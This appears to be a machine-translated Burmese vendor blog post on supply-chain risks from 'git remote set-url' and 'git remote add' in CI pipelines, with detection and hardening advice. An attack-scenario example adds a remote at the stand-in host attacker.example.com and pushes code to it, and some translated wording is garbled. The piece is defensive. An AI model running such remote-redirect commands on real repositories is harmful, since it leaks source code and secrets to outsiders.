ရိုးရှင်းသော Git Command တစ်ခု၏နောက်ကွယ်ရှိ လျှို့ဝှက်အန္တရာယ်
developer အများစုအတွက် git remote set-url origin ကဲ့သို့သော command ကို run ပါ။ Git configuration ကို ထိန်းသိမ်းရာမှာ နောက်ထပ်ခြေလှမ်းတစ်ခုပါပဲ။ CI script တွေဟာ git remote set-url၊ Git set url for remote ဒါမှမဟုတ် Git remote add to fetch ဒါမှမဟုတ် push code လိုမျိုး command တွေကိုလည်း build တွေအတွင်းမှာ execute လုပ်လေ့ရှိပါတယ်။ ဒါပေမယ့် အန္တရာယ်ကတော့ ဒီလိုပါ။ တိုက်ခိုက်သူတစ်ယောက်က အဲဒီ configuration ကို (locally ဒါမှမဟုတ် CI မှာ) ဝင်ရောက်စွက်ဖက်ရင် သင့်ရဲ့ source ကို malicious repository တစ်ခုဆီ redirect လုပ်နိုင်သလို၊ credentials တွေကိုလည်း intercept လုပ်နိုင်သလို၊ supply chain malware တွေကိုလည်း inject လုပ်နိုင်ပါတယ်။
၎င်းကို ပုံမှန်အသုံးပြုပုံ၏ ဥပမာ-
#တရားဝင်အသုံးပြုမှု
git remote set-url origin https://github.com/org/project.git
⚠️ မလုံခြုံသော ဥပမာ၊ ပညာရေးဆိုင်ရာ ရည်ရွယ်ချက်အတွက်သာ။ ထုတ်လုပ်မှုတွင် မသုံးပါနှင့်။
ဗားရှင်းကို လုံခြုံအောင်ပြုလုပ်ပါ၊ pin လုပ်ပြီး repository မူရင်းကို အတည်ပြုပါ
ဘာကြောင့်လဲ။ အကယ်၍ remote ကို attacker ထိန်းချုပ်ထားသော host သို့ ပြောင်းလဲလိုက်ပါက၊ နောက်ပိုင်း git fetch/git push တိုင်းသည် malicious code များသို့ ညွှန်ပြသည်။ ဖြစ်နိုင်သည့်အခါတိုင်း ယုံကြည်စိတ်ချရသော origin များကို hardcode လုပ်ကာ validated မလုပ်ထားသော dynamic URL များကို ရှောင်ကြဉ်ပါ။
အဝေးထိန်း ကိုင်တွယ်မှုက တည်ဆောက်မှုကို ဘယ်လို အနှောင့်အယှက်ဖြစ်စေသလဲ Pipeline
ပြုပြင်ထားသော Git remote URL သည် အလိုအလျောက်လုပ်ဆောင်သည့်နေရာတွင် ပြင်းထန်သောအကျိုးဆက်များဖြစ်စေနိုင်သည်။ pipelinescript များကို သွယ်ဝိုက်၍ ယုံကြည်ရသည့်နေရာ။
ဥပမာ မြင်ကွင်း-
- CI script သည် repositories များကို dynamically ပြန်လည် configure လုပ်ရန် git remote set-url ကို အသုံးပြုသည်။
- အန္တရာယ်ရှိသော ပတ်ဝန်းကျင်ပြောင်းလဲမှု (ဥပမာ၊ တိုကင် သို့မဟုတ် repo URL) ကို script ထဲသို့ ထိုးသွင်းထားသည်။
- build သည် code ကို malicious repo သို့ fetch လုပ်သည် သို့မဟုတ် push လုပ်သည်။
- တိုက်ခိုက်သူသည် backdoor များ သို့မဟုတ် tampered dependencies များကို ထည့်သွင်းသည်။
⚠️ မလုံခြုံသော ဥပမာ၊ ပညာရေးဆိုင်ရာ ရည်ရွယ်ချက်အတွက်သာ။ ထုတ်လုပ်မှုတွင် မသုံးပါနှင့်။
လုံခြုံသောဗားရှင်း၊ အသုံးမပြုမီ $REPO_URL ကို အတည်ပြုပါ (whitelist / xygeni အတည်ပြုခြင်း)။
အဘယ်ကြောင့်: ထိန်းသိမ်းထားသော whitelist နှင့် နှိုင်းယှဉ်၍ ဝင်လာသော repo URL များကို အတည်ပြုပါ (သို့မဟုတ် အသုံးပြုပါ) xygeni verify --git-origin) ၎င်းတို့အပေါ် လုပ်ဆောင်ခြင်းမပြုမီ။ ၎င်းသည် တိုက်ခိုက်သူများအား ပတ်ဝန်းကျင် variable များကို override လုပ်ခြင်းမှ ကာကွယ်ပေးသည်။ pipelines.
အဝေးထိန်းဖွဲ့စည်းပုံတွင် ခွင့်ပြုချက်မရှိသော ပြောင်းလဲမှုများကို ထောက်လှမ်းခြင်း
Git သည် remote တစ်ခုကို ပြုပြင်မွမ်းမံသည့်အခါ သင့်အား အသိပေးခြင်း မရှိပါ။ ကြိုတင်စောင့်ကြည့်ခြင်း .git/config နှင့် တည်ဆောက်မှုမတိုင်မီ သမာဓိစစ်ဆေးမှုများ လိုအပ်ပါသည်။
လက်တွေ့ကျသော ထောက်လှမ်းနည်းစနစ်များ
Git ပြင်ဆင်မှုကို စစ်ဆေးပါ-
လုံခြုံသော အခြေခံစနစ်တွင် သိမ်းဆည်းထားသော မျှော်မှန်းထားသော URL များနှင့် အထွက်ကို နှိုင်းယှဉ်ပါ။
အတည်ပြုပါ
.git/configသမာဓိ-ယုံကြည်စိတ်ချရသော အခြေခံအချက်အလက်နှင့် checksum ကို နှိုင်းယှဉ်ပါ။
CI-အခြေပြု အတည်ပြုချက်-
ပညာပေးမှတ်စု- မှတ်တမ်းများ သို့မဟုတ် ကာကွယ်မထားသောပတ်ဝန်းကျင်များတွင် ဖော်ထုတ်ထားသော ရေရှည်အထောက်အထားများဖြင့် သမာဓိစစ်ဆေးမှုများ သို့မဟုတ် အတည်ပြုခြင်းအမိန့်များကို မလုပ်ဆောင်ပါနှင့်။ ယာယီအထောက်အထားများ၊ vaulted secrets များကို အသုံးပြုပြီး ဖြစ်နိုင်သည့်နေရာတွင် အခွင့်ထူးခံအသုံးပြုသူအနေဖြင့် အတည်ပြုခြင်းအမိန့်များကို လုပ်ဆောင်ခြင်းကို ရှောင်ကြဉ်ပါ။
ထောက်လှမ်းရေး အကြံပြုချက်- non-canonical domains (မမျှော်လင့်ဘဲ) သို့ ညွှန်ပြနေသော remotes များကို ရှာဖွေပါ .net, .io, IP လိပ်စာများ)၊ ထပ်နေသော remote name များ သို့မဟုတ် validation မရှိဘဲ repo URL များကို ထိန်းချုပ်သည့် environment variable များ။ အစောပိုင်း ထောက်လှမ်းခြင်းက ကာကွယ်ပေးသည် git set-url ညစ်ညမ်းနေသော တည်ဆောက်မှုများမှ ခြယ်လှယ်ခြင်း။
Repository Origins များကို လုံခြုံအောင်ပြုလုပ်ခြင်း Guardrails နှင့် Hash အတည်ပြုခြင်း
ကာကွယ်ခြင်းဆိုသည်မှာ သင်တည်ဆောက်သည့် repositories များအပေါ် တင်းကျပ်သော ထိန်းချုပ်မှုများကို ပြဋ္ဌာန်းခြင်း ဖြစ်သည်။ Guardrails လက်မှတ်ရေးထိုးခြင်း၊ hash validation နှင့် CI variable များကို မည်သူပြင်ဆင်နိုင်သည်ကို ကန့်သတ်ခြင်းတို့ ပါဝင်သည်။
Repository သမာဓိရှိမှုအတွက် လုံခြုံသောလုပ်ဆောင်မှုများ
ဖြစ်နိုင်သည့်နေရာတွင် repository URL များ၊ hardcode ယုံကြည်စိတ်ချရသော မူရင်းများကို pin လုပ်ပါ-
repository hash များကို အတည်ပြုပါ-
တည်ဆောက်ခြင်းမပြုမီ HEAD သည် မျှော်လင့်ထားသော hash နှင့် ကိုက်ညီမှုရှိမရှိ အတည်ပြုပါ။
⚠️ မလုံခြုံသော ဥပမာ၊ မှတ်တမ်းများတွင် တိုကင်များ ရိုက်နှိပ်ခြင်း (ထုတ်လုပ်မှုတွင် မသုံးပါနှင့်)။
လုံခြုံသောဗားရှင်း၊ vault မှ လျှို့ဝှက်ချက်များကို ဖတ်ရှုပြီး ဘယ်တော့မှ ပုံနှိပ်ထုတ်ဝေခြင်းမပြုပါနှင့်
အသေးစား စစ်ဆေးရမည့်စာရင်း- Safe Git Remote Management
- ပြforce္ဌာန်း အဝေးထိန်း URL ခွင့်ပြုစာရင်း သို့မဟုတ် အတည်ပြုခြင်း.
- တည်ဆောက်မှုမပြုလုပ်မီ .git/config ၏ သမာဓိကို အတည်ပြုပါ။
- လက်မှတ်ထိုးရန် လိုအပ်သည် commits နှင့် tags များ။
- CI ပတ်ဝန်းကျင် variable များကို မည်သူပြင်ဆင်နိုင်သည်ကို ကန့်သတ်ပါ။
- audit အတွက် git remote set-url နှင့် git remote add တို့၏ log executions များ။
Git Remote Set URL Validation ကို ပေါင်းစပ်ခြင်း CI/CD Pipelines
ပေါင်း guardrails နှင့် အဝေးထိန်းစနစ်ဖြင့် ခြယ်လှယ်မှုကို စောစီးစွာ ရပ်တန့်ရန် အလိုအလျောက် အတည်ပြုခြင်း pipeline.
Guardrail ဥပမာ- ထပ်နေသော သို့မဟုတ် ခွင့်ပြုချက်မရှိသော အဝေးထိန်းစနစ်များ ရှိမရှိ စစ်ဆေးပါ။
မျှဝေထားသောပတ်ဝန်းကျင်များတွင် ထောက်ပံ့ရေးကွင်းဆက် အနှောင့်အယှက်ဖြစ်စေမှုကို ခုခံကာကွယ်ခြင်း
မျှဝေထားသော runner များနှင့် ခွင့်ပြုထားသော remote command များသည် အန္တရာယ်များပါသည်။ အလုပ်လုပ်ဆောင်နေစဉ်အတွင်း စစ်ဆေးခြင်းမရှိသော remotes များကို ထည့်သွင်းသည့် command များကို ရှောင်ကြဉ်ပါ။
⚠️ မလုံခြုံသော ဥပမာ၊ တိုက်ခိုက်သူ အဝေးထိန်းစနစ် ထည့်သွင်းခြင်း (မသုံးပါနှင့်)။
လုံခြုံသောဗားရှင်း၊ အတည်ပြုထားသောဒိုမိန်းများကိုသာကန့်သတ်ပြီး အတည်ပြုထားသောမူရင်းများအတွက်သာ –set-url ကိုသုံးပါ။
မှတ်ချက်- ယာယီ runner များကို ဦးစားပေးပြီး အလုပ်များအကြားတွင် အမြဲတမ်း shared cache များကို ရှောင်ကြဉ်ပါ။
runner များအကြောင်း မှတ်ချက်- အလုပ်တစ်ခုစီအတွက် ပြန်လည်ဖန်တီးထားသော ယာယီ၊ သီးခြား runner များကို အသုံးပြုပါ။ မျှဝေထားသော disk များ သို့မဟုတ် cache များသည် build များတစ်လျှောက်တွင် ခိုးဝှက်ထားသော ဖိုင်များကို သိမ်းဆည်းထားနိုင်သည်။
Remote Validation အတွက် Git set URL ကို ပေါင်းစပ်ခြင်း CI/CD Pipelines
git remote set-url အသုံးပြုမှုကို လုံခြုံအောင်လုပ်ခြင်းသည် ကိုယ်တိုင်စစ်ဆေးခြင်းသာမကဘဲ အလိုအလျောက်လုပ်ဆောင်ခြင်းနှင့်လည်း သက်ဆိုင်ပါသည်။ ခေတ်မီ DevSecOps workflows များသည် validation ကို တိုက်ရိုက်ပေါင်းစပ်နိုင်သည် CI/CD pipelines.
ဥပမာ- အလိုအလျောက် အဝေးထိန်း သမာဓိ အတည်ပြုခြင်း
ဤဖွဲ့စည်းမှုပုံစံသည် မည်သည့်တည်ဆောက်မှု သို့မဟုတ် ဖြန့်ကျက်မှုမလုပ်ဆောင်မီတွင်မဆို သေချာစေပါသည်။ pipeline အတည်ပြုသည်-
- Repository URL သည် မျှော်လင့်ထားသော တန်ဖိုးနှင့် ကိုက်ညီပါသည်။
- Commit လက်မှတ်များသည် အကျုံးဝင်ပါသည်။
- git add remote ကို အသုံးပြု၍ မမျှော်လင့်ထားသော remote များကို ထည့်သွင်းမထားပါ။
နောက်ထပ် CI ထိန်းချုပ်မှုများ
- Pre-commit hooksခွင့်ပြုချက်မရှိပါ စစ်ဆေးပါ git remote set-url command တွေမှာ ရှိပါတယ် commits.
- ကုဒ်အဖြစ် မူဝါဒပြဋ္ဌာန်းခြင်း- ဗားရှင်းထိန်းချုပ်ထားသော မူဝါဒများ၏ တစ်စိတ်တစ်ပိုင်းအဖြစ် ခွင့်ပြုထားသော မူရင်းများကို သတ်မှတ်ပါ။
- Dependency mirroring: တိုက်ရိုက်အင်တာနက်ရင်းမြစ်များအစား အတည်ပြုပြီးသော internal mirrors များမှ ကုဒ်ကို ဆွဲယူပါ။
ဤစစ်ဆေးမှုများကို အလိုအလျောက်လုပ်ဆောင်ခြင်း မှားယွင်းသော configure လုပ်မှုများကို ကာကွယ်ပေးရုံသာမက ကုဒ်မပို့မီ ထောက်ပံ့ရေးကွင်းဆက် ခိုးယူရန်ကြိုးပမ်းမှုများကိုလည်း ထောက်လှမ်းပါသည်။
မျှဝေထားသောပတ်ဝန်းကျင်များတွင် ထောက်ပံ့ရေးကွင်းဆက် အနှောင့်အယှက်ဖြစ်စေမှုကို ခုခံကာကွယ်ခြင်း
မျှဝေထားသော runner များ သို့မဟုတ် ယာယီ CI ပတ်ဝန်းကျင်များသည် အပိုဆောင်းအန္တရာယ်များကို ဖြစ်ပေါ်စေပါသည်။ build များစွာသည် resource များကို မျှဝေသောအခါ၊ git remote set-url သို့မဟုတ် git add remote command များကို session များတစ်လျှောက်တွင် malicious remotes များကို ဆက်လက်တည်ရှိစေရန် လက်နက်အဖြစ် အသုံးပြုနိုင်သည်။
အဖြစ်များသော တိုက်ခိုက်မှု ဇာတ်လမ်းများ
ခိုးယူခံရသော build script တစ်ခုသည် တိုက်ခိုက်သူ၏ repository သို့ ကုဒ်ကို push လုပ်ရန် remote အသစ်တစ်ခုကို ထည့်သွင်းပေးပါသည်။
git မှာ remote backup ကို https://attacker.example.com/repo.git မှာ ထည့်ပါ
git push backup main
- တူညီသော CI agent တွင် လုပ်ဆောင်နေသော အခြားပရောဂျက်တစ်ခုသည် ဤညစ်ညမ်းနေသော အခြေအနေမှ ရယူသည်။
- တိုကင်များ သို့မဟုတ် build artifacts များကဲ့သို့သော အရေးကြီးသောဒေတာများသည် ခွင့်ပြုချက်မရှိဘဲ push လုပ်ခြင်းများမှတစ်ဆင့် ပေါက်ကြားလေ့ရှိသည်။
မာကျောစေသည့် လုပ်ဆောင်ချက်များ
- ခဏတာပြေးသူများ- တည်ဆောက်မှုတစ်ခုပြီးတိုင်း CI ပတ်ဝန်းကျင်များကို ပြန်လည်သတ်မှတ်ပါ။
- ကွန်ရက် သီးခြားခွဲထားခြင်း- အတည်ပြုထားသော ဒိုမိန်းများသို့သာ ထွက်သွားသော အသွားအလာကို ကန့်သတ်ပါ။
- အနည်းဆုံးအခွင့်အရေး- Git လုပ်ဆောင်ချက်များအတွက် ခွင့်ပြုချက်များကို ကန့်သတ်ပါ pipelines.
- ရှေးဟောင်းပစ္စည်း လက်မှတ်ရေးထိုးခြင်း- တည်ဆောက်မှု အထွက်များအားလုံးကို ကုဒ်ဝှက်စနစ်ဖြင့် လက်မှတ်ရေးထိုးပြီး အတည်ပြုထားကြောင်း သေချာပါစေ။
isolation၊ validation နှင့် monitoring တို့ကို ပေါင်းစပ်အသုံးပြုခြင်းဖြင့် အဖွဲ့များသည် git set url ကို remote manipulation အတွက် အသုံးချသည့် တိုက်ခိုက်မှုများကို ပျက်ပြယ်စေနိုင်သည်။
Repository Trust ကို အတည်ပြုခြင်း၊ စောင့်ကြည့်ခြင်းနှင့် အလိုအလျောက်လုပ်ဆောင်ခြင်း
git remote set-url သို့မဟုတ် အတည်မပြုရသေးသော git add remote တစ်ခုတည်းကို အလွဲသုံးစားလုပ်မိပါက သင်၏ build process တစ်ခုလုံးကို attacker ထိန်းချုပ်ထားသော repository သို့ တိတ်တဆိတ် redirect လုပ်မိနိုင်ပါသည်။ DevOps တွင် productivity နှင့် compromise ကြားရှိ နယ်နိမိတ်သည် ယခင်ကထက် ပိုမိုပါးလွှာလာပြီး ဆော့ဖ်ဝဲလ်ထောက်ပံ့ရေးကွင်းဆက်တိုက်ခိုက်မှုများ အဲဒါကို တိတိကျကျ အသုံးချပါ။
သင့်အပေါ် ယုံကြည်မှုကို ထိန်းသိမ်းဖို့အတွက် pipelines:
- repository origin များကို အဆက်မပြတ် အတည်ပြုပါ။
- ပြforce္ဌာန်း commit နှင့် ရှေးဟောင်းပစ္စည်း လက်မှတ်ရေးထိုးခြင်း။
- အလိုအလြောကျစကျတပျဆငျ အဆင့်တိုင်းတွင် သမာဓိစစ်ဆေးမှုများ CI/CD.
တူသောပလက်ဖောင်း ဆိုက်ဂျီနီ malicious remotes များက code များ ဖြန့်ကျက်ခွင့်မရမီ DevSecOps အဖွဲ့များအား remote misconfiguration များကို ထောက်လှမ်းရန်၊ repository trust boundaries များကို စောင့်ကြည့်ရန်နှင့် Git အလွဲသုံးစားမှုကြောင့် ဖြစ်ပေါ်လာသော supply chain အန္တရာယ်များကို ပိတ်ဆို့ရန် ကူညီပေးပါ။
သင့်ရဲ့ workflow ကို ယုံကြည်ပါ၊ ဒါပေမယ့် သင့်ရဲ့ source ကို အတည်ပြုပါ။ git remote set-url ဟာ သင့်ရဲ့ နောက်ထပ် လုံခြုံရေးချိုးဖောက်မှု မဖြစ်အောင် ဒီလိုနည်းနဲ့ ကာကွယ်နိုင်ပါတယ်။
